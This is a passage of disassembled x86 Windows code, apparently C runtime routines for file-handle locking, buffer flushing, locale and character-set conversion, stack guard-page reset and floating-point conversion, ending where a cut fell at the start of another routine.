sub_425845	proc near		; CODE XREF: sub_42115A+1p
					; sub_421ECB+9p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_438460[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		retn
sub_425845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425867	proc near		; CODE XREF: sub_421B9F:loc_421D33p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 00425949 SIZE 00000091 BYTES

		push	14h
		push	offset stru_42A8B0
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0Bh
		call	sub_41E8E3
		pop	ecx
		test	eax, eax
		jz	loc_425908
		push	0Bh
		call	sub_41E983
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi

loc_425894:				; CODE XREF: sub_425867+105j
		mov	[ebp+var_24], edi
		cmp	edi, 40h
		jge	loc_4259C8
		mov	esi, ds:dword_438460[edi*4]
		test	esi, esi
		jz	loc_425971

loc_4258AF:				; CODE XREF: sub_425867+CEj
		mov	[ebp+var_20], esi
		mov	eax, ds:dword_438460[edi*4]
		add	eax, 480h
		cmp	esi, eax
		jnb	loc_425965
		test	byte ptr [esi+4], 1
		jnz	short loc_425932
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jnz	short loc_42591B
		push	0Ah
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		cmp	[esi+8], ebx
		jnz	short loc_425913
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_423F72
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_425910
		push	0FFFFFFFFh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		call	sub_41DECE
		pop	ecx
		pop	ecx

loc_425908:				; CODE XREF: sub_425867+1Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_4259D4
; ---------------------------------------------------------------------------

loc_425910:				; CODE XREF: sub_425867+92j
		inc	dword ptr [esi+8]

loc_425913:				; CODE XREF: sub_425867+7Ej
		mov	[ebp+ms_exc.disabled], ebx
		call	sub_425940

loc_42591B:				; CODE XREF: sub_425867+6Aj
		lea	ebx, [esi+0Ch]
		push	ebx
		call	ds:dword_429130	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_425949
		push	ebx
		call	ds:dword_42912C	; RtlLeaveCriticalSection

loc_425932:				; CODE XREF: sub_425867+63j
		add	esi, 24h
		jmp	loc_4258AF
sub_425867	endp


; =============== S U B	R O U T	I N E =======================================



sub_42593A	proc near		; DATA XREF: .text:0042A8C4o
		mov	edi, [ebp-24h]
		mov	esi, [ebp-20h]
sub_42593A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425940	proc near		; CODE XREF: sub_425867+AFp
		push	0Ah
		call	sub_41E8CE
		pop	ecx
		retn
sub_425940	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425867

loc_425949:				; CODE XREF: sub_425867+C2j
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, ds:dword_438460[edi*4]
		cdq
		push	24h
		pop	ecx
		idiv	ecx
		mov	ecx, edi
		shl	ecx, 5
		add	eax, ecx
		mov	[ebp+var_1C], eax

loc_425965:				; CODE XREF: sub_425867+59j
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_4259C8
		inc	edi
		jmp	loc_425894
; ---------------------------------------------------------------------------

loc_425971:				; CODE XREF: sub_425867+42j
		mov	esi, 480h
		push	esi
		call	sub_41D0C4
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_4259C8
		lea	ecx, ds:438460h[edi*4]
		mov	[ecx], eax
		add	ds:dword_43844C, 20h

loc_425994:				; CODE XREF: sub_425867+14Aj
		mov	edx, [ecx]
		add	edx, esi
		cmp	eax, edx
		jnb	short loc_4259B3
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		add	eax, 24h
		mov	[ebp+var_20], eax
		jmp	short loc_425994
; ---------------------------------------------------------------------------

loc_4259B3:				; CODE XREF: sub_425867+133j
		shl	edi, 5
		mov	[ebp+var_1C], edi
		push	edi
		call	sub_4257A5
		pop	ecx
		test	eax, eax
		jnz	short loc_4259C8
		or	[ebp+var_1C], 0FFFFFFFFh

loc_4259C8:				; CODE XREF: sub_425867+33j
					; sub_425867+102j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4259DA
		mov	eax, [ebp+var_1C]

loc_4259D4:				; CODE XREF: sub_425867+A4j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_425867

; =============== S U B	R O U T	I N E =======================================



sub_4259DA	proc near		; CODE XREF: sub_425867+165p
					; DATA XREF: .text:stru_42A8B0o
		push	0Bh
		call	sub_41E8CE
		pop	ecx
		retn
sub_4259DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4259E3	proc near		; CODE XREF: sub_421206+1Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00425A8B SIZE 00000014 BYTES

		push	0Ch
		push	offset stru_42A8C8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, ds:dword_43844C
		jnb	loc_425A8B
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:438460h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_425A8B
		push	ebx
		call	sub_4257A5
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_425A63
		push	ebx
		call	sub_425764
		pop	ecx
		push	eax
		call	ds:dword_4290F8	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_425A4F
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_425A53
; ---------------------------------------------------------------------------

loc_425A4F:				; CODE XREF: sub_4259E3+5Fj
		and	[ebp+var_1C], 0

loc_425A53:				; CODE XREF: sub_4259E3+6Aj
		cmp	[ebp+var_1C], 0
		jz	short loc_425A72
		call	sub_4200BE
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx

loc_425A63:				; CODE XREF: sub_4259E3+4Dj
		call	sub_4200B5
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_425A72:				; CODE XREF: sub_4259E3+74j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_425A83
		mov	eax, [ebp+var_1C]
		jmp	short loc_425A99
sub_4259E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_425A80	proc near		; DATA XREF: .text:stru_42A8C8o
		mov	ebx, [ebp+8]
sub_425A80	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A83	proc near		; CODE XREF: sub_4259E3+93p
		push	ebx
		call	sub_425845
		pop	ecx
		retn
sub_425A83	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4259E3

loc_425A8B:				; CODE XREF: sub_4259E3+15j
					; sub_4259E3+39j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh

loc_425A99:				; CODE XREF: sub_4259E3+9Bj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_4259E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A9F	proc near		; CODE XREF: sub_421354+27Dp
					; sub_4242B5+15Ep

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, ds:dword_433148
		push	6
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	ds:dword_42907C	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_425ACE
		or	eax, 0FFFFFFFFh
		jmp	short loc_425AD8
; ---------------------------------------------------------------------------

loc_425ACE:				; CODE XREF: sub_425A9F+28j
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D514
		pop	ecx

loc_425AD8:				; CODE XREF: sub_425A9F+2Dj
		mov	ecx, [ebp+var_4]
		call	sub_41E5BB
		leave
		retn
sub_425A9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425AE2	proc near		; CODE XREF: sub_421354+2A8p
					; sub_421354+366p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	38h
		push	offset stru_42A8D8
		call	__SEH_prolog
		mov	eax, ds:dword_433148
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_34], edi
		mov	[ebp+var_44], edi
		mov	eax, [ebp+arg_C]
		mov	ebx, [eax]
		mov	[ebp+var_40], ebx
		mov	[ebp+var_3C], edi
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jz	loc_425C88
		lea	ecx, [ebp+var_30]
		push	ecx
		push	eax
		mov	esi, ds:dword_429030
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_425B46
		cmp	[ebp+var_30], 1
		jnz	short loc_425B46
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_425B46
		cmp	[ebp+var_30], 1
		jnz	short loc_425B46
		mov	[ebp+var_3C], 1

loc_425B46:				; CODE XREF: sub_425AE2+42j
					; sub_425AE2+48j ...
		cmp	[ebp+var_3C], edi
		jz	short loc_425B65
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_425B54
		mov	esi, ebx
		jmp	short loc_425B60
; ---------------------------------------------------------------------------

loc_425B54:				; CODE XREF: sub_425AE2+6Cj
		push	[ebp+arg_8]
		call	sub_41C350
		pop	ecx
		mov	esi, eax
		inc	esi

loc_425B60:				; CODE XREF: sub_425AE2+70j
		mov	[ebp+var_38], esi
		jmp	short loc_425B68
; ---------------------------------------------------------------------------

loc_425B65:				; CODE XREF: sub_425AE2+67j
		mov	esi, [ebp+var_38]

loc_425B68:				; CODE XREF: sub_425AE2+81j
		cmp	[ebp+var_3C], edi
		jnz	short loc_425B87
		push	edi
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_429124	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_38], esi
		cmp	esi, edi
		jz	short loc_425BDF

loc_425B87:				; CODE XREF: sub_425AE2+89j
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_41E090
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_48], ebx
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	ebx
		call	sub_41C6D0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_425BCB
; ---------------------------------------------------------------------------

loc_425BB4:				; DATA XREF: .text:stru_42A8D8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_425BB8:				; DATA XREF: .text:stru_42A8D8o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_425CAB
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_38]

loc_425BCB:				; CODE XREF: sub_425AE2+D0j
		cmp	ebx, edi
		jnz	short loc_425BED
		push	esi
		push	2
		call	sub_421909
		pop	ecx
		pop	ecx
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_425BE6

loc_425BDF:				; CODE XREF: sub_425AE2+A3j
		xor	eax, eax
		jmp	loc_425C9A
; ---------------------------------------------------------------------------

loc_425BE6:				; CODE XREF: sub_425AE2+FBj
		mov	[ebp+var_44], 1

loc_425BED:				; CODE XREF: sub_425AE2+EBj
		push	esi
		push	ebx
		push	[ebp+var_40]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_429124	; MultiByteToWideChar
		test	eax, eax
		jz	loc_425C8B
		cmp	[ebp+arg_10], edi
		jz	short loc_425C2D
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_429174	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_425C8B
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_34], eax
		jmp	short loc_425C8B
; ---------------------------------------------------------------------------

loc_425C2D:				; CODE XREF: sub_425AE2+129j
		cmp	[ebp+var_3C], edi
		jnz	short loc_425C48
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_429174	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_425C8B

loc_425C48:				; CODE XREF: sub_425AE2+14Ej
		push	esi
		push	1
		call	sub_421909
		pop	ecx
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	eax, edi
		jz	short loc_425C8B
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_429174	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_425C7B
		push	[ebp+var_34]
		call	sub_41C2DD
		pop	ecx
		mov	[ebp+var_34], edi
		jmp	short loc_425C8B
; ---------------------------------------------------------------------------

loc_425C7B:				; CODE XREF: sub_425AE2+189j
		cmp	[ebp+var_40], 0FFFFFFFFh
		jz	short loc_425C8B
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_425C8B
; ---------------------------------------------------------------------------

loc_425C88:				; CODE XREF: sub_425AE2+2Dj
		mov	ebx, [ebp+var_48]

loc_425C8B:				; CODE XREF: sub_425AE2+120j
					; sub_425AE2+141j ...
		cmp	[ebp+var_44], edi
		jz	short loc_425C97
		push	ebx
		call	sub_41C2DD
		pop	ecx

loc_425C97:				; CODE XREF: sub_425AE2+1ACj
		mov	eax, [ebp+var_34]

loc_425C9A:				; CODE XREF: sub_425AE2+FFj
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_1C]
		call	sub_41E5BB
		call	__SEH_epilog
		retn
sub_425AE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425CAB	proc near		; CODE XREF: sub_421354+FDp
					; sub_421354+1CBp ...

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_41E090
		mov	esi, esp
		push	1Ch
		lea	eax, [ebp+var_28]
		push	eax
		push	esi
		call	ds:dword_429040	; VirtualQuery
		test	eax, eax
		jz	short loc_425D46
		mov	ebx, [ebp+var_24]
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4291B0	; GetSystemInfo
		mov	ecx, [ebp+var_48]
		mov	eax, ds:dword_43565C
		lea	edi, [ecx-1]
		not	edi
		and	edi, esi
		sub	edi, ecx
		mov	esi, eax
		dec	esi
		neg	esi
		sbb	esi, esi
		and	esi, 0FFFFFFF1h
		add	esi, 11h
		imul	esi, ecx
		add	esi, ebx
		cmp	edi, esi
		mov	[ebp+var_8], ecx
		jb	short loc_425D46
		cmp	eax, 1
		jz	short loc_425D67
		mov	[ebp+var_4], ebx
		mov	ebx, 1000h

loc_425D13:				; CODE XREF: sub_425CAB+84j
		push	1Ch
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_429040	; VirtualQuery
		test	eax, eax
		jz	short loc_425D46
		mov	eax, [ebp+var_1C]
		add	[ebp+var_4], eax
		test	[ebp+var_18], ebx
		jz	short loc_425D13
		test	[ebp+var_13], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jz	short loc_425D42
		xor	eax, eax
		inc	eax
		jmp	short loc_425D86
; ---------------------------------------------------------------------------

loc_425D42:				; CODE XREF: sub_425CAB+90j
		cmp	edi, eax
		jnb	short loc_425D4A

loc_425D46:				; CODE XREF: sub_425CAB+22j
					; sub_425CAB+59j ...
		xor	eax, eax
		jmp	short loc_425D86
; ---------------------------------------------------------------------------

loc_425D4A:				; CODE XREF: sub_425CAB+99j
		cmp	eax, esi
		jnb	short loc_425D51
		mov	[ebp+var_4], esi

loc_425D51:				; CODE XREF: sub_425CAB+A1j
		push	4
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_429188	; VirtualAlloc
		mov	eax, ds:dword_43565C
		jmp	short loc_425D6A
; ---------------------------------------------------------------------------

loc_425D67:				; CODE XREF: sub_425CAB+5Ej
		mov	[ebp+var_4], edi

loc_425D6A:				; CODE XREF: sub_425CAB+BAj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_C]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_4290C0	; VirtualProtect

loc_425D86:				; CODE XREF: sub_425CAB+95j
					; sub_425CAB+9Dj
		lea	esp, [ebp-58h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425CAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D8E	proc near		; CODE XREF: sub_425E0D+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	ecx
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		mov	ecx, [esp+arg_0]
		not	edx
		test	[ecx+eax*4], edx
		jz	short loc_425DB6

loc_425DAD:				; CODE XREF: sub_425D8E+26j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_425DB0:				; CODE XREF: sub_425D8E+2Cj
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_425DAD

loc_425DB6:				; CODE XREF: sub_425D8E+1Dj
		inc	eax
		cmp	eax, 3
		jl	short loc_425DB0
		xor	eax, eax
		inc	eax
		retn
sub_425D8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_425DC0	proc near		; CODE XREF: sub_425E0D+42p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		lea	eax, [edi+esi*4]
		push	eax
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		push	edx
		push	dword ptr [eax]
		call	sub_426D87
		add	esp, 0Ch
		dec	esi
		js	short loc_425E0A
		lea	edi, [edi+esi*4]

loc_425DF1:				; CODE XREF: sub_425DC0+48j
		test	eax, eax
		jz	short loc_425E0A
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_426D87
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_425DF1

loc_425E0A:				; CODE XREF: sub_425DC0+2Cj
					; sub_425DC0+33j
		pop	edi
		pop	esi
		retn
sub_425DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E0D	proc near		; CODE XREF: sub_425F2E+79p
					; sub_425F2E+C2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		dec	edi
		push	20h
		lea	eax, [edi+1]
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	esi
		sub	esi, edx
		xor	edx, edx
		inc	edx
		mov	ecx, esi
		shl	edx, cl
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		test	[eax+ebx*4], edx
		jz	short loc_425E5C
		lea	ecx, [edi+1]
		push	ecx
		push	eax
		call	sub_425D8E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_425E59
		push	edi
		push	[ebp+arg_0]
		call	sub_425DC0
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax

loc_425E59:				; CODE XREF: sub_425E0D+3Cj
		mov	eax, [ebp+arg_0]

loc_425E5C:				; CODE XREF: sub_425E0D+2Cj
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax+ebx*4], edx
		inc	ebx
		cmp	ebx, ecx
		jge	short loc_425E77
		lea	edi, [eax+ebx*4]
		sub	ecx, ebx
		xor	eax, eax
		rep stosd

loc_425E77:				; CODE XREF: sub_425E0D+5Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425E0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E7F	proc near		; CODE XREF: sub_425F2E+6Dp
					; sub_425F2E+ACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	3
		pop	edx
		sub	ecx, eax
		push	esi

loc_425E8D:				; CODE XREF: sub_425E7F+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_425E8D
		pop	esi
		retn
sub_425E7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E9A	proc near		; CODE XREF: sub_425F2E+4Dp

arg_0		= dword	ptr  4

		xor	eax, eax

loc_425E9C:				; CODE XREF: sub_425E9A+10j
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_425EB0
		inc	eax
		cmp	eax, 3
		jl	short loc_425E9C
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_425EB0:				; CODE XREF: sub_425E9A+Aj
		xor	eax, eax
		retn
sub_425E9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425EB3	proc near		; CODE XREF: sub_425F2E+B6p
					; sub_425F2E+D0p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	ebx, [ebp+arg_0]
		or	edi, 0FFFFFFFFh
		mov	[ebp+arg_4], esi
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_8], eax
		xor	eax, eax
		sub	[ebp+arg_4], edx
		not	edi
		mov	[ebp+var_4], eax

loc_425EE1:				; CODE XREF: sub_425EB3+51j
		mov	esi, [ebx+eax*4]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_C], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+arg_4]
		or	esi, [ebp+var_4]
		mov	[ebx+eax*4], esi
		mov	esi, [ebp+var_C]
		shl	esi, cl
		inc	eax
		cmp	eax, 3
		mov	[ebp+var_4], esi
		jl	short loc_425EE1
		push	2
		pop	eax
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		lea	ecx, [ebx+ecx*4]

loc_425F11:				; CODE XREF: sub_425EB3+74j
		cmp	eax, [ebp+var_8]
		jl	short loc_425F1D
		mov	edx, [ecx]
		mov	[ebx+eax*4], edx
		jmp	short loc_425F21
; ---------------------------------------------------------------------------

loc_425F1D:				; CODE XREF: sub_425EB3+61j
		and	dword ptr [ebx+eax*4], 0

loc_425F21:				; CODE XREF: sub_425EB3+68j
		dec	eax
		sub	ecx, 4
		test	eax, eax
		jge	short loc_425F11
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425EB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F2E	proc near		; CODE XREF: sub_426086+Dp
					; sub_42609C+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		shl	eax, 10h
		and	edi, 7FFFh
		sub	edi, 3FFFh
		cmp	edi, 0FFFFC001h
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_8], ecx
		push	eax
		jnz	short loc_425F97
		xor	ebx, ebx
		call	sub_425E9A
		test	eax, eax
		pop	ecx
		jnz	loc_426046
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd

loc_425F8F:				; CODE XREF: sub_425F2E+DAj
		push	2
		pop	eax
		jmp	loc_426048
; ---------------------------------------------------------------------------

loc_425F97:				; CODE XREF: sub_425F2E+49j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_425E7F
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425E0D
		add	esp, 10h
		test	eax, eax
		jz	short loc_425FB4
		inc	edi

loc_425FB4:				; CODE XREF: sub_425F2E+83j
		mov	eax, [esi+4]
		mov	ecx, eax
		sub	ecx, [esi+8]
		cmp	edi, ecx
		jge	short loc_425FCA
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		jmp	short loc_426006
; ---------------------------------------------------------------------------

loc_425FCA:				; CODE XREF: sub_425F2E+90j
		cmp	edi, eax
		jg	short loc_42600A
		sub	eax, edi
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425E7F
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	sub_425EB3
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425E0D
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425EB3
		add	esp, 20h

loc_426006:				; CODE XREF: sub_425F2E+9Aj
		xor	ebx, ebx
		jmp	short loc_425F8F
; ---------------------------------------------------------------------------

loc_42600A:				; CODE XREF: sub_425F2E+9Ej
		cmp	edi, [esi]
		push	dword ptr [esi+0Ch]
		jl	short loc_426032
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425EB3
		mov	ebx, [esi+14h]
		add	ebx, [esi]
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_426048
; ---------------------------------------------------------------------------

loc_426032:				; CODE XREF: sub_425F2E+E1j
		mov	ebx, [esi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	ebx, edi
		call	sub_425EB3
		pop	ecx
		pop	ecx

loc_426046:				; CODE XREF: sub_425F2E+55j
		xor	eax, eax

loc_426048:				; CODE XREF: sub_425F2E+64j
					; sub_425F2E+102j
		push	1Fh
		pop	ecx
		sub	ecx, [esi+0Ch]
		mov	esi, [esi+10h]
		shl	ebx, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		or	ebx, [ebp+var_C]
		cmp	esi, 40h
		jnz	short loc_426077
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_426081
; ---------------------------------------------------------------------------

loc_426077:				; CODE XREF: sub_425F2E+13Aj
		cmp	esi, 20h
		jnz	short loc_426081
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx

loc_426081:				; CODE XREF: sub_425F2E+147j
					; sub_425F2E+14Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_426086	proc near		; CODE XREF: sub_421710+48p
